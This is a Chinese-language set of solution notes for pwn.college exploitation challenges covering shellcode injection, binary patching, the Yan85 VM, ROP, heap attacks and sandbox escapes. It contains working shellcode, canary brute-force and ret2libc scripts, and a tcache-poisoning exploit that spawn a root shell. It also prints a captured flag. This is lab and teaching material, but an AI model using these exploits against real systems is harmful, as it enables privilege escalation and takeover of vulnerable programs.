Shellcode Injection

level 4

禁止”0x48”(h), 即64位寄存器前缀, 使用32位寄存器即可(push, pop除外)。

// 先提权, 再启动bash。
// setuid(0x69)为root(0)
mov eax, 0x69
mov edi, 0
syscall
// execve(0x3b) bash
mov eax, 0x3b
lea edi, [rip+bash]
mov esi, 0
mov edx, 0
syscall
bash:
.string "/bin/bash"

level 5

不能包含syscall(0x0f 0x05)、int(0x80)等指令, 使用执行时写即可。

mov bl, 0x0f
mov [rip+syscall0], bl
mov bl, 0x05
mov [rip+syscall1], bl
syscall0:
.byte 0x00
syscall1:
.byte 0x00

level 6

新分配页不可写, 但栈可执行, 将系统调用在执行时写进栈中即可(使用jmp或call指令跳转)。

mov bl, 0x0f
mov [rsp], bl
mov bl, 0x05
mov [rsp+1], bl
jmp rsp
// or use call to return
// mov bl, 0xc3
// mov [rsp+2], bl
// call rsp

level 7

stdin、stdout、stderr被关闭, 打开flag, 再设置全员可读写(0666)打开一个新文件, 然后使用sendfile(0x28)将flag写入新文件即可。

mov rax, 2
lea rdi, [rip+flag]
mov rsi, 0
syscall
push rax
mov rax, 2
lea rdi, [rip+myflag]
mov rsi, 1
mov rdx, 0666
syscall
mov rdi, rax
pop rsi
mov rax, 0x28
mov rdx, 0
mov r10, 64
syscall
flag:
.string "/flag"
myflag:
.string "/home/hacker/myflag"

level 8

限制只能读入18字节, 而且新页不可写, 栈不可执行, 开启了PIE, 不考虑二次读入。极限压缩指令使用chmod打开/flag读权限(0x5a)。

mov al, 0x5a
mov edi, 0x1978e00c
mov sil, 04
syscall
flag:
.string "/flag"

level 9

在shellcode中插屎, 每十个字节插入十个int 3, 直接使用jmp跳过。

level 10-11

给输入数据排序, 不过是按八字节排序也还好。

level 12

要求输入的每一个字节都不能相同, 考虑二次读入即可。

level 13

限制只能读入12个字节, 新页不可写, 栈不可执行, 开启了PIE。

继续尝试修改权限, 但显然不能直接传入/flag字符串, 先建立一个指向/flag的符号链接, 然后将符号链接文件名传给chmod syscall。

当尝试修改软链接的权限时, 实际上修改的是目标文件的权限, 因为软链接本身的权限是没有意义的, 会被系统自动忽略。

push 0x66
mov rdi,rsp
mov sil,4
mov al,90
syscall

注意不要尝试使用root身份创建一个具有setuid权限的文件

因为对脚本文件设置uid位是没有意义的, linux默认禁止, 只有二进制文件的setuid才有意义。之前题目的脚本可以读/flag是因为选择的解释器就是有高权限的解释器, 而不是普通的bash或python解释器。

# 使用数字设置权限时要注意当前环境的umask, 会对权限进行掩码处理
> umask 0000
# 当文件名为不可打印字符时, 可以使用inode号删除
> ls -li
> sudo find . -inum 28827 -exec rm -f {} \;

level 14

限制只能读入6个字节, 但新页是可写的, 显然需要二次读入。

read syscall的rax为0, 此时刚好为0, 不需要设置。

第一个参数rdi设置为标准输入0, 通过xor设置。

第二个参数rsi设置为缓冲区地址, 这里需要复用之前mprotect syscall的rdx, 将rdx压栈, 再pop给rsi即可。

第三个参数rdx如果有值就不需要设置。

最后一个syscall共6字节刚好。

但将二层shellcode读入的是缓冲区起始地址, 然而此时程序流已经执行到+6偏移处, 直接在二层shellcode开头编入若干条nop指令加入偏移即可。

Reverse Engineering

Patching

level 1

可以patch从bin文件中任意五个字节的内容, 本想修改got表, 使其指向win函数, 且还要注意被修改的libc函数需要在win函数中跳过。但五个字节并不够修改的(开启随机化的地址一般是六个字节), 改为修改下面call指令的操作数, 注意是与下一条指令(rip)的相对偏移。

level 2

只可以patch一个字节, 直接将最后的比较中的jne(0x75)修改为je(0x74)。

level 3

patch两个字节, 但是会进行数据完整性校验, 第一次patch校验的比较, 第二次patch key的比较即可。

注意3.1中第一个patch校验的比较使用的是near jump(6字节, 0x0f 0x85开头)而不是short jump(2字节, 0x75), 用于32位偏移(+-2GB)而不是8位偏移(+-128B), 将near jump的0x85改为0x84即可。

Yan85

一个自己写的虚拟机(实际上主要是解释器), 3字节定长指令集, 总线宽度为8位,内存共1024字节存在栈上buffer缓冲区, 外加紧跟在内存后面的7字节共7个寄存器。

前面几题是输入key值比较正确后获取flag,通过静态分析或者动态运行时hook出来都可以。动态的话通过在interpret_cmp比较函数中打断点,取出比较时寄存器的值将key逐字节hook出来,最好使用gdb脚本(使用source .gdb或-x .gdb)。

set $hit_count = 0
b *interpret_cmp+123
commands
silent
set $hit_count = $hit_count + 1
if ($hit_count % 2)
set $a = (unsigned char)*((unsigned char *)($rbp-0x11))
set $b = (unsigned char)*((unsigned char *)($rbp-0x12))
set *((unsigned char *)($rbp-0x11)) = $b
printf "needed input: %02x\n", ($a - $b) & 0xff
end
continue
end
run

后面几题需要自己写yan code来获取flag, 先写一个简易编译器, 然后写汇编来编译成yan code。

#!/usr/bin/env python3
import sys

#----------------------------------------------------
#| buf[0-0x300] | buf[0x300-0x400] | buf[1024-1030] |
#----------------------------------------------------
#| code | memory | registers |
#----------------------------------------------------

# note the order of opcode and operands
# This is the order of machine code(need to change)
#-------------------------------
#| operand2 | operand1 | opcode |
#-------------------------------

# opcode operand1, operand2
# This is the order of assembly code(no need to change)
imm = 0x02 # imm r, byte: r = byte
add = 0x40 # add r1, r2: r1 = r1 + r2
push = 0x08 # push 0, r: stack[sp] = r; sp++
pop = 0x08 # pop r, 0: r = stack[--sp]
stm = 0x04 # stm r1, r2: mem[r1] = r2
ldm = 0x01 # ldm r1, r2: r1 = mem[r2]
cmp = 0x80 # cmp r1, r2: flag = (r1 == r2)
jmp = 0x20 # jmp f, r: ip = addr if f == flag
syscall = 0x10 # sys call, r: syscall(call) -> r

# syscall: oprand2
call = {
"open": 0x02, # open(mem[a], b)
"read_code": 0x04, # read(a, code[3*b], c)
"read_memory": 0x08, # read(a, mem[b], c)
"write": 0x10, # write(a, mem[b], c)
"sleep": 0x20, # sleep(a)
"exit": 0x01 # exit(a)
}

# registers: 8 bits
reg = {
"a": 0x10, # buf[1024]
"b": 0x01, # buf[1025]
"c": 0x20, # buf[1026]
"d": 0x02, # buf[1027]
"sp": 0x04, # buf[1028]
"ip": 0x08, # buf[1029]
"flag": 0x40 # buf[1030]
}

filename = sys.argv[1]
input = open(filename, 'r')
output = open('a.out', 'wb')
# DON'T change these even when order changes
while instr := input.readline():
instr = instr.strip()
if not instr or instr.startswith('#'):
continue
op, op1, op2 = instr.split()
if op == 'imm':
op = imm
if op1.startswith('\"'):
op1 = op1.strip("\"")
op1 = ord(op1)
elif op1.startswith('0x'):
op1 = int(op1, 16)
else:
op1 = int(op1)
op2 = reg[op2]
elif op == 'add':
op = add
op1 = reg[op1]
op2 = reg[op2]
elif op == 'push':
op = push
op1 = reg[op1]
op2 = 0
elif op == 'pop':
op = pop
op1 = 0
op2 = reg[op2]
elif op == 'stm':
op = stm
op1 = reg[op1]
op2 = reg[op2]
elif op == 'ldm':
op = ldm
op1 = reg[op1]
op2 = reg[op2]
elif op == 'cmp':
op = cmp
op1 = reg[op1]
op2 = reg[op2]
elif op == 'jmp':
op = jmp
op1 = reg[op1]
op2 = int(op2, 16)
elif op == 'syscall':
op = syscall
op1 = reg[op1]
op2 = call[op2]
else:
print(f'Unknown instruction: {op}')
sys.exit(1)
# change this when order changes
output.write(bytes([op2, op1, op]))

input.close()
output.close()

最后一题比较有意思, 程序会随机寄存器顺序、操作码顺序以及系统调用顺序,本来以为这个随机是每次启动程序后都重新随机,后来发现并不是这样,在init_array中调用了flag_seed函数,其中使用flag生成了一个srand的种子,当种子相同时,后续的rand函数生成的随机序列都是相同的。因此只要多启动几次程序爆破出这个顺序即可。

#!/usr/bin/env python3

from pwn import *

# context.log_level = 'debug'
bin = "/challenge/yansanity-hard"

values = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]

def find_exit():
for imm in values:
for syscall in values:
for sys_exit in values:
for a in values:
# print(f"{i*8*8 + j*8 + k}: imm={hex(i)}, syscall={hex(j)}, exit={hex(k)}, a={hex(r)}")
payload = b""
# imm a, 63
payload += bytes([a, imm, 63])
# syscall exit, a
payload += bytes([sys_exit, syscall, a])
p = process(bin)
p.send(payload)
p.wait(0.1)
if (p.proc.returncode == 63):
print(f"Found: imm={hex(imm)}, syscall={hex(syscall)}, sys_exit={hex(sys_exit)}, a={hex(a)}")
return (imm, syscall, sys_exit, a)
else:
p.close()
return (0, 0, 0, 0)

def find_add():
for add in values:
if (add == imm or add == syscall):
continue
for reg in values:
if (reg == a):
continue
payload = b""
# imm a, 29
payload += bytes([a, imm, 29])
# imm r, 34
payload += bytes([reg, imm, 34])
# add a, r
payload += bytes([a, add, reg])
# syscall exit, a
payload += bytes([sys_exit, syscall, a])
p = process(bin)
p.send(payload)
p.wait(0.1)
if (p.proc.returncode == 63):
print(f"Found: add={hex(add)}, reg={hex(reg)}")
return (add, reg)
return (0, 0)

# to avoid stk mistaking the found of stm&ldm, find stk first
def find_stk():
for stk in values:
if (stk == imm or stk == syscall or stk == add):
continue
payload = b""
# imm reg, 63
payload += bytes([reg, imm, 63])
# stk a, reg
payload += bytes([a, stk, reg])
# syscall exit, a
payload += bytes([sys_exit, syscall, a])
p = process(bin)
p.send(payload)
p.wait(0.1)
# reg may be sp, so add 1
if (p.proc.returncode == 63 or p.proc.returncode == 64):
print(f"Found: stk={hex(stk)}")
return stk
return 0

def find_stm_ldm():
for stm in values:
if (stm == imm or stm == syscall or stm == add or stm == stk):
continue
for ldm in values:
if (ldm == imm or ldm == syscall or ldm == add or ldm == stk or ldm == stm):
continue
payload = b""
# imm reg, 63
payload += bytes([reg, imm, 63])
# stm reg, reg
payload += bytes([reg, stm, reg])
# ldm a, reg
payload += bytes([a, ldm, reg])
# syscall exit, a
payload += bytes([sys_exit, syscall, a])
p = process(bin)
p.send(payload)
p.wait(0.1)
if (p.proc.returncode == 63):
print(f"Found: stm={hex(stm)}, ldm={hex(ldm)}")
return (stm, ldm)
return (0, 0)

def find_write():
for sys_write in values:
if (sys_write == sys_exit):
continue
for b in values:
if (b == a):
continue
for c in values:
if (c == a or c == b):
continue
payload = b""
# imm a, 1
payload += bytes([a, imm, 1])
# imm b, "W"
payload += bytes([b, imm, ord("W")])
# stm b, b
payload += bytes([b, stm, b])
# imm c, 1
payload += bytes([c, imm, 1])
# syscall write, a
payload += bytes([sys_write, syscall, a])
# syscall exit, a
payload += bytes([sys_exit, syscall, a])
p = process(bin)
p.sendafter(b"Please input your yancode: ", payload)
try:
recv = p.recv(4096, timeout=1)
except EOFError:
p.kill()
p.close()
continue
print(recv.decode())
if (b"W" in recv):
print(f"Found: sys_write={hex(sys_write)}, b={hex(b)}, c={hex(c)}")
return (sys_write, b, c)
else:
p.kill()
p.close()
return (0, 0, 0)

def find_open_read():
for sys_open in values:
if (sys_open == sys_exit or sys_open == sys_write):
continue
for sys_read in values:
if (sys_read == sys_exit or sys_read == sys_write or sys_read == sys_open):
continue
payload = b""
# imm a, 0
payload += bytes([a, imm, 0])
# imm c, 1
payload += bytes([c, imm, 1])
# imm b, "/"
payload += bytes([b, imm, ord("/")])
# stm a, b
payload += bytes([a, stm, b])
# add a, c
payload += bytes([a, add, c])
# imm b, "f"
payload += bytes([b, imm, ord("f")])
# stm a, b
payload += bytes([a, stm, b])
# add a, c
payload += bytes([a, add, c])
# imm b, "l"
payload += bytes([b, imm, ord("l")])
# stm a, b
payload += bytes([a, stm, b])
# add a, c
payload += bytes([a, add, c])
# imm b, "a"
payload += bytes([b, imm, ord("a")])
# stm a, b
payload += bytes([a, stm, b])
# add a, c
payload += bytes([a, add, c])
# imm b, "g"
payload += bytes([b, imm, ord("g")])
# stm a, b
payload += bytes([a, stm, b])
# add a, c
payload += bytes([a, add, c])
# imm b, 0
payload += bytes([b, imm, 0])
# stm a, b
payload += bytes([a, stm, b])
# imm a, 0
payload += bytes([a, imm, 0])
# syscall open, a
payload += bytes([sys_open, syscall, a])
# imm b, 0x10
payload += bytes([b, imm, 0x10])
# imm c, 64
payload += bytes([c, imm, 64])
# syscall read_memory, a
payload += bytes([sys_read, syscall, a])
# imm a, 1
payload += bytes([a, imm, 1])
# imm b, 0x10
payload += bytes([b, imm, 0x10])
# imm c, 64
payload += bytes([c, imm, 64])
# syscall write, a
payload += bytes([sys_write, syscall, a])
# syscall exit, a
payload += bytes([sys_exit, syscall, a])
try:
p = process(bin)
p.sendafter(b"Please input your yancode: ", payload)
try:
recv = p.recvall(timeout=1)
except EOFError:
p.kill()
p.close()
continue
if (b"pwn.college" in recv):
print(f"Found: sys_open={hex(sys_open)}, sys_read={hex(sys_read)}")
print(recv.decode())
return (sys_open, sys_read)
else:
p.kill()
p.close()
except:
continue
return (0, 0)

imm, syscall, sys_exit, a = find_exit()
add, reg = find_add()
stk = find_stk()
stm, ldm_stk = find_stm_ldm()
sys_write, b, c = find_write()
sys_open, sys_read = find_open_read()

Cows and Bulls

挺有意思的几道题目。每次输入四个不同的数字,然后返回Cows and Bulls提示, cows表示数字对但位置不对的个数,bulls表示数字和位置都对的数字个数。

level 1

通过逆向发现必须在最后一次输入正确才行。

level 2

不仅要恰好在最后一次正确,而且每次Cows和Bulls的次数都规定好了。

题目使用time作为srand()函数的种子,只需要拿到运行时的time,即可在本地复刻同一个随机化Cows and Bulls序列。

import time
from pwn import *
p = process("/challenge/predictable-migration")
print(f"Start Time: 0x{round(time.time())-1:x}")
p.interactive()
# remote result
# [+] Starting local process '/challenge/predictable-migration': pid 7603
# Start Time: 0x68d2661e
# [*] Switching to interactive mode
# Entry ID 1088395046 • Attempts=8 • L=4

在本地调试调用time处打断点,并设置返回值rax为远程运行time。

pwndbg> set $rax=0x68d2661f
pwndbg> c
Continuing.
Entry ID 1088395046 • Attempts=8 • L=4

当ID与远程ID相同时即为成功。

此时hook出target Cows和Bulls序列以及target number然后按需输入即可:

pwndbg> x/gx $rbp-0xb8
0x7fffffffcce8: 0x000055555555c360
pwndbg> x/s 0x000055555555c360
0x55555555c360: "03C01B00C01B02C01B02C00B03C00B01C01B00C03B00C04B\222D\021\024\b"
pwndbg> x/gx $rbp-0xe0
0x7fffffffccc0: 0x0000000000000f13
pwndbg> p/d 0xf13
$3 = 3859

level 3

将target Cows和Bulls以sha256的形式存储,hook出来,写一个脚本对比还原出target Cows和Bulls即可。

import hashlib
for i in range(5):
for j in range(5):
print(f"0{i}C, 0{j}B")
s = f"0{i}C0{j}B"
print(hashlib.sha256(s.encode()).hexdigest())

level 4

将一个16字节的数和target Cows_Bulls拼接到一起hash,都hook出来即可。

import hashlib
b = b"\x8d\xf1\x96\x84\x85\xe2\xac)S\xb4\x073\xcc\xb2\xde\x12"
for i in range(5):
for j in range(5):
s = b"0%dC0%dB" % (i, j)
print(s)
print(hashlib.sha256(b+s).hexdigest())

Return Oriented Programming

level 3

连续rop到5个win函数, 但每个win函数前有参数检验, 所以要通过bypass跳过检验。但跳过开头的话, 栈帧就会被打乱, 需要手动构造栈帧。

没有canary和PIE, 但开了ASLR, 栈地址会变化, 且也没有内存泄露漏洞, 无法泄露出具体栈地址。需要将栈帧移动到已知位置:

  • 先通过缓冲区溢出覆盖rbp, 将rbp调到data/bss段
  • 然后二次调用challenge函数, 但要跳过开头的enter, 只利用最后的leave, 将rsp同样调到data/bss段
  • 最后构造5次win的rop gadget

level 4-8

ret2libc

level 9

stack pivoting

level 10-11

ret2elf

level 12

爆破win函数地址

level 13

先泄露canary, 然后返回到__libc_start_main重新进入main函数, 然后泄露libc基地址,最后ret2libc。

level 14

服务器fork子进程处理链接类型, 依次逐字节爆破出canary、栈地址和elf地址, 然后泄露libc地址, 最后ret2libc。

level 15

直接在main中起子进程,不再返回main,直接爆破canary、libc地址。

#!/usr/bin/env python3

from pwn import *

context.arch = "amd64"
context.os = "linux"
# context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']

libc = "/lib/x86_64-linux-gnu/libc.so.6"
PATH = "/challenge/babyrop_level15.1"
buffer_size = 0x20

sh = process(PATH)

# brute force leaking the canary byte by byte
canary = b""
for num in range(8):
for i in range(0x100):
new_canary = canary + p8(i)
print(f"{num}: {i}, {new_canary}")
payload = b"A" * (buffer_size-0x8) + new_canary
p = remote("127.0.0.1", 1337)
p.send(payload)
if b"stack smashing detected" not in p.recvall(timeout=3):
print(f"canary: {new_canary}")
canary = new_canary
break

addr = b"\x3f"
for num in range(5):
for i in range(0x100):
new_addr = addr + p8(i)
print(f"{num}: {i}, {new_addr}")
payload = b"A" * (buffer_size-0x8) + canary + b"A" * 0x8 + new_addr
p = remote("127.0.0.1", 1337)
p.send(payload)
if b"### Welcome to" in p.recvall(timeout=3):
print(f"addr: {new_addr}")
addr = new_addr
p.close()
print("New Process! Kill it and enter anykey to continue...")
input()
break

# get libc_base
libc_base = int.from_bytes(addr[::-1]) - 0x2403f
print(f"libc_base: {libc_base:x}")
libc_elf = ELF(libc)
rop = ROP(libc_elf)
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
setuid = libc_base + libc_elf.symbols["setuid"]
system = libc_base + libc_elf.symbols["system"]
bash = libc_base + next(libc_elf.search(b"/bin/sh"))

# rop2libc
p = remote("127.0.0.1", 1337)
payload = b'A' * (buffer_size-0x8) + canary + b'A' * 0x8 + p64(pop_rdi) + p64(0) + p64(setuid) + p64(pop_rdi) + p64(bash) + p64(system)
p.send(payload)

p.interactive()

Dynamic Allocator Misuse

level 1-3

UAF(Use After Free), free后指针还在。

level 4

Double Free, 通过改写已free chunk的key值来绕过check多次free。

level 5

Single Link, 通过free flag chunk时tcache会自动填充entry开头的next指针来将flag chunk开头填上字节。

level 6

Arbitrary Memory, 通过改写chunk的next值实现任意内存块分配(glibc 2.32前next不异或加密)。

level 7

同Arbitrary Memory, 不过tcache重新分配chunk时会将key值清空以避免后续free时Double Free的check;既然清空了后8字节, 16字节的secret只读前8字节即可, 后8字节填”\x00”。然而, 想全读出来也是有办法的, 先next一个指向secret后8字节的指针, 然后正常malloc、puts读出后8字节; 然后再按照同样的方法next一个指向secret前8字节的指针再将其读出来拼接即可(不过此时bss段的secret的后八字节已经被清零了,着实没必要)。

level 8

同Arbitrary Memory, 不过这次的地址最低字节位”\x0a”, 会被scanf跳过导致next无法直接指向该地址, 利用上一题思路, 先读出后8个字节, 然后next到address的前面8字节, malloc后使secret的前8个字节被作为key值清空, 这样就只需要后8个字节即可, 前8个字节填”\x00”。

level 9

同Arbitrary Memory, 不过不允许获得(可以malloc但拿不到返回地址)secret address附近的块, 实际上根据上面两题, 完全不需要获取secret值, 只需要利用key值清零将整个secret清零即可, 然后直接发送全0的secret。

level 10

Arbitrary Memory, 不仅意味着任意内存读, 还意味着任意内存写, 当地址指向代码段或栈(如返回地址)而不是数据段时, 即可实现控制流劫持。

scanf发送的数据偶尔包含空白字符会截断, 多尝试两次就好了。

level 11

同level 10, 只是需要自己泄露elf地址和栈地址, 本来想用unsorted bins(先malloc一个大块, 再malloc一个小块防止后续free大块时跟top chunk合并, 然后free掉第一个大块, 读出其开头的fd和bk指针)泄露出main_arena,从而泄露出libc基地址, 然后再去拿environ全局变量泄露栈地址, 但这好像不是题目的本意。

注意到echo函数在实现时使用malloc而不是普通的栈存放系统调用参数, 一眼洞, 通过UAF, 先free一个echo之后会malloc的32字节大小的chunk, 然后调用echo, 它自己就会把elf地址和栈地址分别存在该chunk的开头两个8字节中。

地址泄露出来后就是第十题的Arbitrary Memory控制执行流了。

level 12

Stack Free, free栈时要注意先将addr-8处的size设置合理, 否则不会进入tcache的对应entry(如果size无意义直接进munmap), 此外注意个位字节在(1, 8]时会overlap后面块的8字节, 而size不会增加(向下16字节舍入)。

level 13

Stack Free, 先把栈free到tcache中, 通过上一个chunk的next指针泄露出栈地址后通过arbitrary memory分配出secret附近的块, 然后将其中内容overwrite掉即可。

level 14

结合level 11 和 level 13, 通过echo的malloc泄露出elf地址, 通过stack free的next指针泄露出栈地址。

注意不要有空白字符即可。

level 15

同level 10, 只是chunk free过后对应的指针就会被清空, 可以分配连续的几个块, 利用echo和read分别实现越界读写即可。

level 16

第九题secret变式, 但使用的是glibc 2.35, 增加了safe-linking(包括异或next指针和align检查), 则无法像第九题一样直接将secret作为key值清零(只能清空后八个字节, 前八个字节因为对齐要求无法分配)。

这里使用memory copy, 在secret chunk被分配后, 其中的next指针会在被reveal运算后赋值给tcache的head指针, 此时如果free一个块, 该next指针就会在被protect运算后写入该chunk的next中, 从而实现memory copy。

level 17

第十题变式, 覆写返回地址控制执行流到win函数, 不过使用了safe-linking, 无法直接malloc ret_addr chunk(0x8结尾不对齐), 也无法malloc rbp及之下的位置(有canary, 以及会影响scanf时malloc_usable_size函数检查size)。

直接曲线救国, 先malloc ptr指针数组, 然后覆写其中一个指针(选后面的, 保证-0x8size位为0或小一点的数)使之指向ret_addr绕过align检查, 然后操作该指针去overwrite返回地址(此时size位即saved_rbp为1, 不会影响malloc_usable_size函数检查)。

level 18

13题变式, 同样先把栈free到tcache中, 泄露出栈地址后通过arbitrary memory分配出secret附近的块, 然后将其中内容overwrite掉即可。

level 19

overlap, free后指针清空, 不过说是safe_read, 实际上还是有越界写(read的size是根据总size而不是user size), 使用一个块overlap下一个块的size部分, 再将下一个块free、malloc, 即可得到over下下个块的chunk, 然后将flag读入下下个块, 通过给的safe_write即可打印出flag。

level 20

先泄露出libc基地址以及栈地址, 题目中safe_read是正常通过read系统调用读入数据, 而safe_write却使用fwrite而不是write, 一眼洞。

safe_write中使用了fdopen函数, 会在第一次打开fd(终端)时malloc一个chunk, 其中保存了_IO_FILE_plus结构体, 该结构体中有一个_IO_file_jumps指针, 指向libc中的_IO_file_jumps全局变量, 即可泄露出libc基地址。

得到libc基地址后, 即可通过libc中的environ全局变量得到栈地址, 从而实现rop。

在覆写返回地址时, 由于align要求以及size检查, 无法直接分配return address附近的chunk, 可以像19题一样先拿到chunk ptr指针数组, 然后绕过malloc直接操作ptr指向ret_address。

这里我们采用另一种方法, 使用一贯的overlap改size。

先拿到rbp上面的连续的两个小块, 使用前一个块overlap将后一个块的size改为一个较大值, 这样不论是泄露canary还是使用rop覆写返回地址都很方便了。

#!/usr/bin/env python3

from pwn import *

context.log_level = "debug"
context.terminal = ['tmux','splitw','-h']

libc = "/challenge/lib/libc.so.6"
libc_elf = ELF(libc)
PATH = "/challenge/babyheap_level20.1"
p = process(PATH)

p.sendafter(b"Function", b"malloc 0 16\n")
p.sendafter(b"Function", b"malloc 1 16\n")
p.sendafter(b"Function", b"malloc 2 16\n")
p.sendafter(b"Function", b"malloc 3 16\n")
p.sendafter(b"Function", b"safe_write 1\n")

# overlap the chunk 1 size
size = 32 * 3 + 0x1d0 # 3 malloc chunck + 1 safe_write chunk
p.sendafter(b"Function", b"safe_read 0 " + b"A"*24 + p64(size))
p.sendafter(b"Function", b"free 1\n")
p.sendafter(b"Function", b"malloc 1 %d\n" % (size-16)) # chunk 1 size - 16

# get the libc_base and environ by the struct _IO_FILE_plus and the global var _IO_file_jumps
_IO_FILE_plus_offset = 96 # heap1_addr + 96
_IO_file_jumps_offset = _IO_FILE_plus_offset + 216 # heap1_addr + 32 + 216
p.sendafter(b"Function", b"safe_write 1\n")
# p.recvuntil(b"safe_write(allocations[1])\n")
p.recvuntil(b"Index: \n")
_IO_file_jumps = int.from_bytes(p.recv(size)[_IO_file_jumps_offset:_IO_file_jumps_offset+8], byteorder="little")
libc_base = _IO_file_jumps - libc_elf.symbols['_IO_file_jumps']
print(f"libc_base: {libc_base:x}")
environ_addr = libc_base + libc_elf.symbols['environ']

# get the chunk 2 heap base address
p.sendafter(b"Function", b"free 2\n")
p.sendafter(b"Function", b"safe_write 1\n")
# p.recvuntil(b"safe_write(allocations[1])\n")
p.recvuntil(b"Index: \n")
heap2_base = int.from_bytes(p.recv(size)[32:40], byteorder="little")

# get the stack address by arbitrary memory(malloc the environ chunk)
p.sendafter(b"Function", b"malloc 2 16\n")
p.sendafter(b"Function", b"free 3\n")
p.sendafter(b"Function", b"free 2\n")
protect_addr = environ_addr ^ heap2_base
p.sendafter(b"Function", b"safe_read 1 " + b"A"*24 + p64(0x20) + p64(protect_addr) + b"\n")
p.sendafter(b"Function", b"malloc 2 16\n")
p.sendafter(b"Function", b"malloc 3 16\n")
p.sendafter(b"Function", b"safe_write 3\n")
# p.recvuntil(b"safe_write(allocations[3])\n")
p.recvuntil(b"Index: \n")
stack = int.from_bytes(p.recv(32)[0:8], byteorder="little")
print(f"stack: {stack:x}")
rbp = stack - 0x128

# malloc the chunk above the rbp by arbitrary memory
p.sendafter(b"Function", b"malloc 3 16\n")
p.sendafter(b"Function", b"free 3\n")
p.sendafter(b"Function", b"free 2\n")
protect_addr = (rbp-0x40) ^ heap2_base
p.sendafter(b"Function", b"safe_read 1 " + b"A"*24 + p64(0x20) + p64(protect_addr) + b"\n")
p.sendafter(b"Function", b"malloc 2 16\n")
p.sendafter(b"Function", b"malloc 3 16\n")

# use the chunk before to overwrite the size of the next chunk
p.sendafter(b"Function", b"safe_read 3 " + b"A"*24 + p64(0x90) + b"\n")

# malloc(arbitrary memory) and free and malloc to get the chunk around return address(large size)
p.sendafter(b"Function", b"malloc 3 16\n")
p.sendafter(b"Function", b"free 3\n")
p.sendafter(b"Function", b"free 2\n")
protect_addr = (rbp-0x20) ^ heap2_base
p.sendafter(b"Function", b"safe_read 1 " + b"A"*24 + p64(0x20) + p64(protect_addr) + b"\n")
p.sendafter(b"Function", b"malloc 2 16\n")
p.sendafter(b"Function", b"malloc 3 16\n")
p.sendafter(b"Function", b"free 3\n")
p.sendafter(b"Function", b"malloc 3 128\n")

# get the canary
p.sendafter(b"Function", b"safe_write 3\n")
# p.recvuntil(b"safe_write(allocations[3])\n")
p.recvuntil(b"Index: \n")
canary = int.from_bytes(p.recv(32)[24:32], byteorder="little")
print(f"canary: {canary:x}")

# rop
rop = ROP(libc_elf)
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
setuid = libc_base + libc_elf.symbols["setuid"]
system = libc_base + libc_elf.symbols["system"]
bash = libc_base + next(libc_elf.search(b"/bin/sh"))
payload = p64(pop_rdi) + p64(0) + p64(setuid) + p64(pop_rdi) + p64(bash) + p64(system)
p.sendafter(b"Function", b"safe_read 3 " + b"A"*24 + p64(canary) + b"A"*8 + payload + b"\n")

p.sendafter(b"Function", b"quit\n")

p.interactive()

Program Exploitation

Containment

使用seccomp(secure computing mode)初始化沙箱环境限制系统调用.

只允许canary上面的两个系统调用号, 否则就会被kill掉, 所以为了最后的puts能够执行必须要有一个write。

则只剩一个系统调用可选, 直接使用chown或chmod即可。

Yan85

Return to YanLand

还是Yan85 shellcode, 但与逆向的那题不同的是,这里不允许在yan code中使用open系统调用,也就无法直接使用yan code拿到flag。

然而read系统调用没有进行越界检查, 且栈可执行,则先写出open-readfile/setuid-system/chown/chmod的shellcode,然后直接使用read指令二次越界读将shellcode写到栈中即可。

Escape from YanLand

在上一题的基础上开了canary、PIE和ASLR, 需要先通过write指令将canary和栈地址泄露出来。

The YanFilter

在读入yancode时会进行一次过滤,只允许存在一条syscall指令,本想通过read code系统调用进行二次读,但read code被禁止使用。

但是本题将数据存储放在了指令存储前面,可以直接通过read memory对后面的指令存储进行越界覆盖。

另外,值得注意的是,本题不再在调度器的while无限循环中使用大于0xff判断退出,而由于ip寄存器是8位的,也就是说当执行最后一条指令后,会出现ip溢出,重新执行第一条指令。

The Great YanFilter

增加了越界检查,同时将数据存储放回了指令存储后面,没有内存漏洞了。

仔细阅读解释器源码,在system interpreter部分,使用的是连续的if而不是if else if。

因此,只要一条sys指令,第一个参数传入open、read和write系统调用号的或,即可一次执行三条系统调用。

需要注意的是将系统调用返回值重写回寄存器a(operand2),一遍read能复用open返回的文件描述符。

但这样会有一个问题,即write会复用read的返回值(读入数据size)作为输出fd。

因此需要提前打开程序对应的fd并将其重定向到标准输出,这里使用shell重定向(相较python或c的dup2还是比较优雅的)。

> ls -l /flag
-r-------- 1 root root 58 Oct 6 04:45 /flag
> /challenge/toddlerone-level-10-0 58>&1 < ./output
[V] a:0 b:0 c:0x3c d:0 s:0 i:0x17 f:0
[I] op:0x2 arg1:0x17 arg2:0x1
[s] SYS 0x17 a
[s] ... open
[s] ... read_memory
[s] ... write
pwn.college{wxzjlLiw18Mi2TaDajDqh0uERu_.ddzMzwiNxgDOxEzW}
[s] ... exit

Yan85 Reborn

本系列的最后一道题。

将Yan85拓展为24B定长指令集, 总线位宽为64bit, 但不再是之前那种虚拟机(解释后直接执行), 而是一个即时编译器(JIT, Just-In-Time Compiler), 先将yancode编译为x86-64汇编代码, 最后跳转到编译后的x86-64代码执行。

buffer的前半部分存放读入的yan code, 后半部分存放编译后的每条x86-64汇编代码与起始地址的偏移,作为yancode中的跳转指令的跳转表。

可编译的指令中不能使用任何系统调用, 猜测是通过jmp指令跳转到x86-64指令的中间位置, 使原本正常的指令截断变为其他指令, 从而实现shellcode执行。

观察到yancode的jmp指令参数可以传一个负值索引,如果这个负值较大的话, 就可以将原本跳转表上面输入的yancode作为跳转表的一部分, 从中取出合适的偏移作为x86-64 jmp指令的跳转偏移。

又考虑到对于mov指令, 其第二个参数可以是一个8字节立即数, 即可以将shellcode构造为立即数, 然后直接跳转到该立即数, 并在其中添加两字节的短跳(jmp short rel8)即可实现连续的shellcode执行(每8字节向后跳到下一个立即数shellcode)。

#!/usr/bin/env python
import sys
from pwn import *

context.arch = 'amd64'
context.os = 'linux'

#--------------------------------------------------------------------------------
#| buf[0-0x1800] | buf[0x1800-0x2000] | buf[0x2000-0x2008] | buf[0x2008-0x2108] |
#--------------------------------------------------------------------------------
#| code(24*256) | Null | x86-64 code ptr | offset table(8*256) |
#--------------------------------------------------------------------------------

# note the order of opcode and operands
# This is the order of machine code(need to change)
#-------------------------------------------
#| opcode(8B) | operand1(8B) | operand2(8B) |
#-------------------------------------------

# opcode operand1, operand2
# This is the order of assembly code(no need to change)
